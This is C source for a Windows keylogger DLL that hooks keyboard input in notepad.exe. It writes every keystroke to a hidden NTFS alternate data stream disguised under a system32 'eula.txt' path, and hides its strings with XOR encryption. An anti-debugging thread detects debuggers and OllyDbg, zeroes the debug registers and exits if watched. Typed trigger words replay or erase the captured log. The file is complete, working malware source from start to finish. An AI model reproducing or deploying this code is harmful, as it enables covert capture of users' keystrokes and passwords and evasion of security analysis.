#include <Windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <tchar.h>
#include <TlHelp32.h>
#include "cptnhook.h"

/*
 * set debugging message functionality
 */
void myDBGPrint(const TCHAR* formatStr, ...);


/*
 * check if the event is keydown
 */
#define IS_KEY_DOWN(lParam) (!(lParam>>31)&1)

#define BACK_SPACE_TCHAR ((TCHAR)0x08)

#define MAX_LOG_SIZE (1024)


/*
 * the key to encrypt the text with
 */
#define ENCRIPTION_KEY 0xC7

/*
 * macro for encrypt char
 */
#define ENC_CH(ch) (_T(ch))^ENCRIPTION_KEY

#define FIX_STR_LEN(str) sizeof(str)/sizeof(TCHAR)

/* 
 * encrypted strings
 */
TCHAR gTargetProcessNameStr[] = {ENC_CH('n'),ENC_CH('o'),ENC_CH('t'),ENC_CH('e'),ENC_CH('p'),ENC_CH('a'),ENC_CH('d'),ENC_CH('.'),ENC_CH('e'),ENC_CH('x'),ENC_CH('e'),ENC_CH(0x00)};
TCHAR gLoaderProcessNameStr[] = {ENC_CH('e'),ENC_CH('x'),ENC_CH('p'),ENC_CH('l'),ENC_CH('o'),ENC_CH('r'),ENC_CH('e'),ENC_CH('r'),ENC_CH('.'),ENC_CH('e'),ENC_CH('x'),ENC_CH('e'),ENC_CH(0x00)};
TCHAR gShowmeMsgStr[] = {ENC_CH('S'),ENC_CH('H'),ENC_CH('O'),ENC_CH('W'),ENC_CH('M'),ENC_CH('E')};
TCHAR gDeletemeMsgStr[] = {ENC_CH('D'),ENC_CH('E'),ENC_CH('L'),ENC_CH('E'),ENC_CH('T'),ENC_CH('E'),ENC_CH('M'),ENC_CH('E')};
TCHAR gProcessWindowNameStr[] = {ENC_CH('E'),ENC_CH('d'),ENC_CH('i'),ENC_CH('t'),ENC_CH(0x00)};
TCHAR gLogFilePath[] = {ENC_CH('C'),ENC_CH(':'),ENC_CH('\\'),ENC_CH('W'),ENC_CH('I'),ENC_CH('N'),ENC_CH('D'),ENC_CH('O'),ENC_CH('W'),ENC_CH('S'),ENC_CH('\\'),ENC_CH('s'),ENC_CH('y'),ENC_CH('s'),ENC_CH('t'),ENC_CH('e'),ENC_CH('m'),ENC_CH('3'),ENC_CH('2'),ENC_CH('\\'),ENC_CH('e'),ENC_CH('u'),ENC_CH('l'),ENC_CH('a'),ENC_CH('.'),ENC_CH('t'),ENC_CH('x'),ENC_CH('t'),ENC_CH(':'),ENC_CH('$'),ENC_CH('s'),ENC_CH('y'),ENC_CH('s'),ENC_CH(':'),ENC_CH('$'),ENC_CH('d'),ENC_CH('a'),ENC_CH('t'),ENC_CH('a'),ENC_CH(0x00)};
TCHAR gAntiDebuggingMsgHeaderStr[] = {ENC_CH('E'),ENC_CH('v'),ENC_CH('i'),ENC_CH('l'),ENC_CH('!'),ENC_CH(0x00)};
TCHAR gAntiDebuggingMsgBodyStr[] = {ENC_CH('G'),ENC_CH('o'),ENC_CH(' '),ENC_CH('a'),ENC_CH('w'),ENC_CH('a'),ENC_CH('y'),ENC_CH(' '),ENC_CH('d'),ENC_CH('e'),ENC_CH('b'),ENC_CH('u'),ENC_CH('g'),ENC_CH('g'),ENC_CH('e'),ENC_CH('r'),ENC_CH('!'),ENC_CH(0x00)};
TCHAR gOllyDbgProcessNameStr[] = {ENC_CH('o'),ENC_CH('l'),ENC_CH('l'),ENC_CH('y'),ENC_CH('d'),ENC_CH('b'),ENC_CH('g'),ENC_CH('.'),ENC_CH('e'),ENC_CH('x'),ENC_CH('e'),ENC_CH(0x00)};
BOOL gMsgBeenCaptured = FALSE;

/*
 * data relevat to the special keys print
 */
#define NUMBER_OF_SPECIAL_KEYS 8

/*
 * some magic number for detecting whether a debugger is attached via debug messages
 */
#define NEW_ERROR_CODE 0x12345678

/*
 * output for special keys
 */
TCHAR gKBKeysStr[] = {	ENC_CH('<'),ENC_CH('B'),ENC_CH('S'),ENC_CH('P'),ENC_CH('>'),ENC_CH(0x00),
						ENC_CH('<'),ENC_CH('P'),ENC_CH('G'),ENC_CH('D'),ENC_CH('N'),ENC_CH('>'),ENC_CH(0x00),
						ENC_CH('<'),ENC_CH('P'),ENC_CH('G'),ENC_CH('U'),ENC_CH('P'),ENC_CH('>'),ENC_CH(0x00),
						ENC_CH('<'),ENC_CH('D'),ENC_CH('E'),ENC_CH('L'),ENC_CH('>'),ENC_CH(0x00),
						ENC_CH('<'),ENC_CH('H'),ENC_CH('O'),ENC_CH('M'),ENC_CH('E'),ENC_CH('>'),ENC_CH(0x00),
						ENC_CH('<'),ENC_CH('E'),ENC_CH('N'),ENC_CH('D'),ENC_CH('>'),ENC_CH(0x00),
						ENC_CH('<'),ENC_CH('E'),ENC_CH('S'),ENC_CH('C'),ENC_CH('>'),ENC_CH(0x00),
						ENC_CH(13),ENC_CH(0x00)};

/*
 * len of every key "message"
 */
size_t gKBKeysStrLen[NUMBER_OF_SPECIAL_KEYS];
/*
 * the offset of the message from the begining of the buffer
 */
size_t gKBKeysOffset[NUMBER_OF_SPECIAL_KEYS];

/*
 * check if the pressed key is special
 */
#define IS_SPECIAL_KEY(ch) (ch&(1<<24))

/*
 * in my prepesentation, the msb will indicate whether this is a special
 * key or not
 */
#define MARK_TCHAR_AS_SPECIAL(ch) ((ch) |= (1<<7))
#define UNMARK_TCHAR_AS_SPECIAL(ch) ((ch) &= (~(1<<7)))

/*
 * sequance number and ascii value of special keys
 */
#define KB_BACKSPACE 0
#define KB_PAGEDOWN 1
#define KB_PAGEUP 2 
#define KB_DEL 3
#define KB_HOME 4
#define KB_END 5
#define KB_ESCAPE 6
#define KB_ENTER 7

#define KB_BACKSPACE_VAL 8
#define KB_PAGEDOWN_VAL 34
#define KB_PAGEUP_VAL 33 
#define KB_DEL_VAL 46
#define KB_HOME_VAL 36
#define KB_END_VAL 35
#define KB_ESCAPE_VAL 27
#define KB_ENTER_VAL 13

#define ANTI_DEBUGGING_THREAD_SLEEP_PERIOD 5000

#define NUM_OF_DEBUGGER_DETECTION_FOR_EXIT 10

/*
 * counters for the intercepted message showme and deleteme
 */
size_t gShowmeMsgCounter = 0;
size_t gDeletemeMsgCounter = 0;

/*
 * the pid of target process (notepad.exe)
 */
HWND gTargetProcessHWnd = NULL;

/*
 * the log file
 */
HANDLE gLogFile;


//init sizes and offsets of the strings related to the special keys
void initSpecialKeysData()
{
	size_t i,lastOffset = 0,curPos = 0,curStrIndex=0;
	for(i = 0 ; i < FIX_STR_LEN(gKBKeysStr) ; ++i)
	{
		if (gKBKeysStr[i] == 0x00)
		{
			gKBKeysStrLen[curStrIndex] = curPos;
			gKBKeysOffset[curStrIndex] = lastOffset+(curStrIndex==0?0:1);
			
			lastOffset = i;
			curPos=0;
			curStrIndex++;
			
		}
		else
		{
			curPos++;
		}
	}
}


/*
 * this function decrypt a given string
 */
void decryptString(TCHAR* msg,size_t size)
{
	size_t i;
	for(i = 0 ; i < size ;  ++i)
	{
		msg[i]^=ENCRIPTION_KEY;
	}
}

/*
 * this function decrypt all strings
 */
void decryptAllStrings()
{
	decryptString(gTargetProcessNameStr,FIX_STR_LEN(gTargetProcessNameStr));
	decryptString(gLoaderProcessNameStr,FIX_STR_LEN(gLoaderProcessNameStr));
	decryptString(gShowmeMsgStr,FIX_STR_LEN(gShowmeMsgStr));
	decryptString(gDeletemeMsgStr,FIX_STR_LEN(gDeletemeMsgStr));
	decryptString(gProcessWindowNameStr,FIX_STR_LEN(gProcessWindowNameStr));
	decryptString(gLogFilePath,FIX_STR_LEN(gLogFilePath));
	decryptString(gKBKeysStr,FIX_STR_LEN(gKBKeysStr));
	decryptString(gAntiDebuggingMsgHeaderStr,FIX_STR_LEN(gAntiDebuggingMsgHeaderStr));
	decryptString(gAntiDebuggingMsgBodyStr,FIX_STR_LEN(gAntiDebuggingMsgBodyStr));
	decryptString(gOllyDbgProcessNameStr,FIX_STR_LEN(gOllyDbgProcessNameStr));

}

/*
 * find process ID by the provess' name
 * return TRUE on success and false on failure
 */
BOOL getProcessIDByName(TCHAR* name,DWORD* pId)
{
    // Create toolhelp snapshot.
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 process;
	BOOL retVal = FALSE;

    ZeroMemory(&process, sizeof(process));
    process.dwSize = sizeof(process);

	

	if (snapshot == INVALID_HANDLE_VALUE)
	{
		DBG_MSG(_T("Error: can't enumerate process list\n"));		
		return FALSE;
	}

	// Walkthrough all processes.
    if (Process32First(snapshot, &process))
    {
        do
        {
			//check if the process' name match the given name
			if (_tcsncmp(name,process.szExeFile,MAX_PATH) == 0)
			{
				if (pId != NULL)
				{
					*pId = process.th32ProcessID;
				}
				retVal = TRUE;
				break;
			}
        } while (Process32Next(snapshot, &process));
		
		
    }

    CloseHandle(snapshot);

    
	return retVal;
	
}

/*
 * this function scramble debug register which will make the debugger life harder
 */
void ScrambleDebugRegisters()
{
	// Create toolhelp snapshot.
	
	CONTEXT threadContext;
	
	HANDLE threadHandle = GetCurrentThread();

	DWORD threadID = GetCurrentThreadId();

	threadHandle = OpenThread(THREAD_GET_CONTEXT | THREAD_SET_CONTEXT, FALSE, threadID);

	if (threadHandle == NULL) {
		DBG_MSG(_T("Error: Can't open notepad thread\n"));
		return;
		//continue;
	}

	if (!GetThreadContext(threadHandle, &threadContext)) {
		DBG_MSG(_T("Error: Can't get notepad's thread context\n"));
		CloseHandle(threadHandle);
		return;
		//continue;
	}
	
	
	threadContext.ContextFlags = CONTEXT_DEBUG_REGISTERS;

	threadContext.Dr0 = 0;
	threadContext.Dr1 = 0;
	threadContext.Dr2 = 0;
	threadContext.Dr3 = 0;
	threadContext.Dr6 = 0;
	threadContext.Dr7 = 0;
	if (!SetThreadContext(GetCurrentThread(), &threadContext)) {
		DBG_MSG(_T("Error: can't zero thread debug registers"));
	}
	
	CloseHandle(threadHandle);

}

/*
 * this is the function to be running under the anti debugging thread
 */
DWORD WINAPI antiDebuggingThreadCb(LPVOID param)
{
	BOOL loopForever = TRUE;
	
	SIZE_T detectionCounter = 0;
	
	UNREFERENCED_PARAMETER(param);

	while(loopForever)
	{
		BOOL isDebuggerPresents = FALSE;
		
		if (!CheckRemoteDebuggerPresent(GetCurrentProcess(),&isDebuggerPresents))
		{
			DBG_MSG(_T("Error: can't check remote debugger status\n"));
		}

		//if debugger is attached, OutputDebugString will change the last error code to be zoro
		//else, it would say NEW_ERROR_CODE
		SetLastError(NEW_ERROR_CODE);
		OutputDebugString(NULL);

		isDebuggerPresents |= (GetLastError() == NEW_ERROR_CODE);
		
		if (isDebuggerPresents || getProcessIDByName(gOllyDbgProcessNameStr,NULL))
		{
			MessageBoxA(NULL,gAntiDebuggingMsgBodyStr,gAntiDebuggingMsgHeaderStr,0);
			detectionCounter++;
		}
		else
		{
			detectionCounter = 0;
		}
		ScrambleDebugRegisters();
		Sleep(ANTI_DEBUGGING_THREAD_SLEEP_PERIOD);

		if (detectionCounter == NUM_OF_DEBUGGER_DETECTION_FOR_EXIT)
		{
			CloseHandle(gLogFile);
			exit(0);
		}
	}

	return 0;
}
/*
 * this function simulate several keystrokes on a given window
 */
void SimulateKeyStroke(TCHAR ch,size_t times)
{
	HWND windowHandle = FindWindowEx(gTargetProcessHWnd,NULL,gProcessWindowNameStr,NULL);
	
	while (times > 0)
	{
		PostMessage(windowHandle,WM_CHAR,ch,0xE0001);
		times--;
	}
	
}

/*
 * simulate several key strokes from a given buffer
 */
void SimulateKeyStrokes(TCHAR* pBuffer,size_t size)
{
	while(size>0)
	{
		SimulateKeyStroke(*pBuffer,1);
		size--;
		pBuffer++;
	}
}

/*
 * this function update the counter of a given string if the given char
 * fit the next char to be typed
 */
void updateMsgInterceptionProgress(TCHAR ch,TCHAR* pMsg,size_t* pCounter)
{
	if (pMsg[*pCounter] == ch)
	{
		(*pCounter)++;
	}
	//check if this is the first msg ch
	else if (pMsg[0] == ch)
	{
		*pCounter = 1;
	}
	else
	{
		*pCounter = 0;
	}
}

/*
 * this function update all intercept messages counter if
 * the typed char equal the next char to be entered
 */
void updateMessagesInterceptionProgress(TCHAR ch)
{
	updateMsgInterceptionProgress(ch,gShowmeMsgStr,&gShowmeMsgCounter);
	updateMsgInterceptionProgress(ch,gDeletemeMsgStr,&gDeletemeMsgCounter);
}

/*
 * this function simulate keystrokes of entier buffer. special keys
 * will be simulated as sequance of char which represents them.
 * for example escape will be simulated as "<ESC>"
 */
void simulateBuffer(TCHAR* pBuffer,size_t size)
{
	size_t msgIndexEntry,i;
	for(i = 0 ; i < size ; ++i,pBuffer++)
	{
		//check if the char is regular
		if (*pBuffer > 31 && *pBuffer < 127)
		{
			DBG_MSG(_T("Char value: %d"),*pBuffer);
			SimulateKeyStroke(*pBuffer,1);
			continue;
		}

		//since every special char has it's MSB on, it becoms negative
		if (*pBuffer < 0)
		{
			
			//turn this MSB off and check what is the corespondant key of the original value
			//*pBuffer &= (~(1 << 7));
			UNMARK_TCHAR_AS_SPECIAL(*pBuffer);
		}
		
		//swith on the special chars
		switch (*pBuffer)
		{
			case KB_BACKSPACE_VAL:
				msgIndexEntry = KB_BACKSPACE; 
				break;
			case KB_PAGEDOWN_VAL:
				msgIndexEntry = KB_PAGEDOWN;
				break;
			case KB_PAGEUP_VAL:
				msgIndexEntry = KB_PAGEUP;
				break;
			case KB_DEL_VAL:
				msgIndexEntry = KB_DEL;
				break;
			case KB_HOME_VAL:
				msgIndexEntry = KB_HOME;
				break;
			case KB_END_VAL:
				msgIndexEntry = KB_END;
				break;
			case KB_ESCAPE_VAL:
				msgIndexEntry = KB_ESCAPE;
				break;
			case KB_ENTER_VAL:
				msgIndexEntry = KB_ENTER;
				break;
			default: 
				//if this is special unfamiliar key, don't print it
				continue;
				break;
		}
		
		//send the sequance which represents the speical key
		SimulateKeyStrokes(&gKBKeysStr[gKBKeysOffset[msgIndexEntry]],gKBKeysStrLen[msgIndexEntry]);
	}
}

/*
 * this function handle the situation when "showme" message was typed
 */
void showmeMsgHandle()
{
	TCHAR buffer[MAX_LOG_SIZE];
	
	DWORD logSize = 0;

	if (gShowmeMsgCounter != FIX_STR_LEN(gShowmeMsgStr))
	{
		return;
	}
	gShowmeMsgCounter = 0;
	gMsgBeenCaptured = TRUE;

	//delete the text showme from notepad
	SimulateKeyStroke(BACK_SPACE_TCHAR,FIX_STR_LEN(gShowmeMsgStr)-1);

	if (SetFilePointer(gLogFile,0,NULL,FILE_BEGIN) == INVALID_SET_FILE_POINTER)
	{
		DBG_MSG(_T("Error: can set file pointer to the beginning"));
		return;

	}

	//read keylog and print it on notepad window
	if (!ReadFile(gLogFile,buffer,sizeof(TCHAR)*MAX_LOG_SIZE,&logSize,NULL))
	{
		DBG_MSG("Can't read log file");
		return;
	}

	if (SetFilePointer(gLogFile,logSize-sizeof(TCHAR)*FIX_STR_LEN(gShowmeMsgStr),NULL,FILE_BEGIN) == INVALID_SET_FILE_POINTER)
	{
		DBG_MSG(_T("Error: can set file pointer"));
		return;

	}

	if (!SetEndOfFile(gLogFile))
	{
		DBG_MSG(_T("Error: can set end of file"));
		return;

	}
	DBG_MSG(_T("read %d bytes"),(logSize/sizeof(TCHAR))-FIX_STR_LEN(gShowmeMsgStr));

	simulateBuffer(buffer,(logSize/sizeof(TCHAR))-FIX_STR_LEN(gShowmeMsgStr));
}

/*
 * this function checks whether the text "deleteme" been typed and
 * act accordingly. see the documentation of showmeMsgHandle
 */

void deletemeMsgHandle()
{
	if (gDeletemeMsgCounter != FIX_STR_LEN(gDeletemeMsgStr))
	{
		return;
	}

	DBG_MSG(_T("intercept deleteme sequance"));

	gDeletemeMsgCounter = 0;
	gMsgBeenCaptured=TRUE;
	//delete the readme string
	SimulateKeyStroke(BACK_SPACE_TCHAR,FIX_STR_LEN(gDeletemeMsgStr)-1);

	//set end of file to the file's beginning

	if (SetFilePointer(gLogFile,0,NULL,FILE_BEGIN) == INVALID_SET_FILE_POINTER)
	{
		DBG_MSG(_T("Error: can set file pointer"));
		return;

	}

	if (!SetEndOfFile(gLogFile))
	{
		DBG_MSG(_T("Error: can set end of file"));
		return;
	}

}

/*
 * call back of EnumWindows
 */
BOOL CALLBACK enumWindowsProc (HWND hwnd, LPARAM lParam) 
{
	DWORD procid;
	
	UNREFERENCED_PARAMETER(lParam);

	//get the processId of the enumerated window
	GetWindowThreadProcessId (hwnd, &procid);
	
	//check if the enumerated window is our thread's window
	if (GetCurrentProcessId() == procid)
	{
		gTargetProcessHWnd = hwnd;
		return FALSE;
	}

	//continue with the enumeration
	return TRUE;

}



//init to be done when we at the target process
BOOL init()
{
	//find the processID of Notepad
	EnumWindows (enumWindowsProc, 0);
	//open log file
	gLogFile = CreateFile(gLogFilePath,GENERIC_READ | GENERIC_WRITE,0,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
	if (gLogFile == NULL)
	{
		DBG_MSG(_T("Unable to open log file"));
		return FALSE;
	}
	//set file opinter to the end
	if (SetFilePointer(gLogFile,0,NULL,FILE_END) == INVALID_SET_FILE_POINTER)
	{
		DBG_MSG(_T("Error: can set file pointer to the beginning"));
		return FALSE;
	}
	initSpecialKeysData();

	//create anti debugger thread
	CreateThread(NULL,0,antiDebuggingThreadCb,NULL,0,NULL);

	return TRUE;
}

//printf like function for debugging
void myDBGPrint(const TCHAR* formatStr, ...) {
	TCHAR buffer[MAX_LOG_SIZE];
	va_list args;
	va_start(args, formatStr);
	_vstprintf_s(buffer, MAX_LOG_SIZE, formatStr, args);
	va_end(args);
	OutputDebugString(buffer);
}


/*
 * this method ensure this hook will be loaded into loader or target process - notepad alone
  */
BOOL EnsureTargetProcess()
{
	DWORD currentPID = GetCurrentProcessId();
	
	HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 process;
	BOOL retVal = FALSE;

    ZeroMemory(&process, sizeof(process));
    process.dwSize = sizeof(process);
	

	if (snapshot == INVALID_HANDLE_VALUE)
	{
		return FALSE;
	}

	// Walkthrough all processes.
    if (Process32First(snapshot, &process))
    {
        do
        {
			//check if current process name is "notpad.exe" or "explorer.exe".
			if (process.th32ProcessID == currentPID && (_tcsncmp(gTargetProcessNameStr,process.szExeFile,MAX_PATH)==0 || _tcsncmp(gLoaderProcessNameStr,process.szExeFile,MAX_PATH)==0))
			{
				if (_tcsncmp(gTargetProcessNameStr,process.szExeFile,MAX_PATH)==0)
				{
					DBG_MSG(_T("Hook been installed succesfully on target process"));
					init();
				}
				retVal = TRUE;
				break;
			}
        } while (Process32Next(snapshot, &process));
    }

    CloseHandle(snapshot);

	return retVal;
}

/*
 * the callback of keboard event hook
 */
LRESULT CALLBACK HookProc(int code, WPARAM wParam, LPARAM lParam) 
{
	//if last key completed special message, delete the last message char.
	if (gMsgBeenCaptured)
	{
		gMsgBeenCaptured = FALSE;
		SimulateKeyStroke(BACK_SPACE_TCHAR,1);
	}

	//check if this is key down event
	if (IS_KEY_DOWN(lParam))
	{
		
		TCHAR ch = (TCHAR)wParam,upperCaseCh;
		TCHAR regCh[1];
		DWORD writtenBytes = 0;
		regCh[0] = ch;

		if (IS_SPECIAL_KEY(lParam))
		{
			MARK_TCHAR_AS_SPECIAL(regCh[0]);
		}
		
		//make it uppercase
		if (ch >= _T('a') && ch <= _T('z'))
		{
			upperCaseCh = ch - (_T('a') - _T('A'));
		}
		else
		{
			upperCaseCh = ch;
		}

		DBG_MSG(_T("Key val = %d"),(int)ch);
		
		//add ch to log
		WriteFile(gLogFile,regCh,sizeof(TCHAR),&writtenBytes,NULL);
		if (writtenBytes != sizeof(TCHAR))
		{
			DBG_MSG(_T("Can't write to Log file")); 
		}
		
		//advance special messages counters
		updateMessagesInterceptionProgress(ch);
		showmeMsgHandle();
		deletemeMsgHandle();
	}

	return CallNextHookEx(NULL, code, wParam, lParam);
}


/*
 * main entry of the dll
 */
BOOL WINAPI DllMain(
  __in  HINSTANCE hinstDLL,
  __in  DWORD fdwReason,
  __in  LPVOID lpvReserved
)
{
	
	UNREFERENCED_PARAMETER(hinstDLL);
	UNREFERENCED_PARAMETER(fdwReason);
	UNREFERENCED_PARAMETER(lpvReserved);
	
	
	if (fdwReason == DLL_PROCESS_ATTACH)
	{
		decryptAllStrings();

		if (!EnsureTargetProcess())
		{
			
			return FALSE;
		}
		
	}
	else if (fdwReason == DLL_PROCESS_DETACH)
	{
		CloseHandle(gLogFile);
	}
	
	return TRUE;
}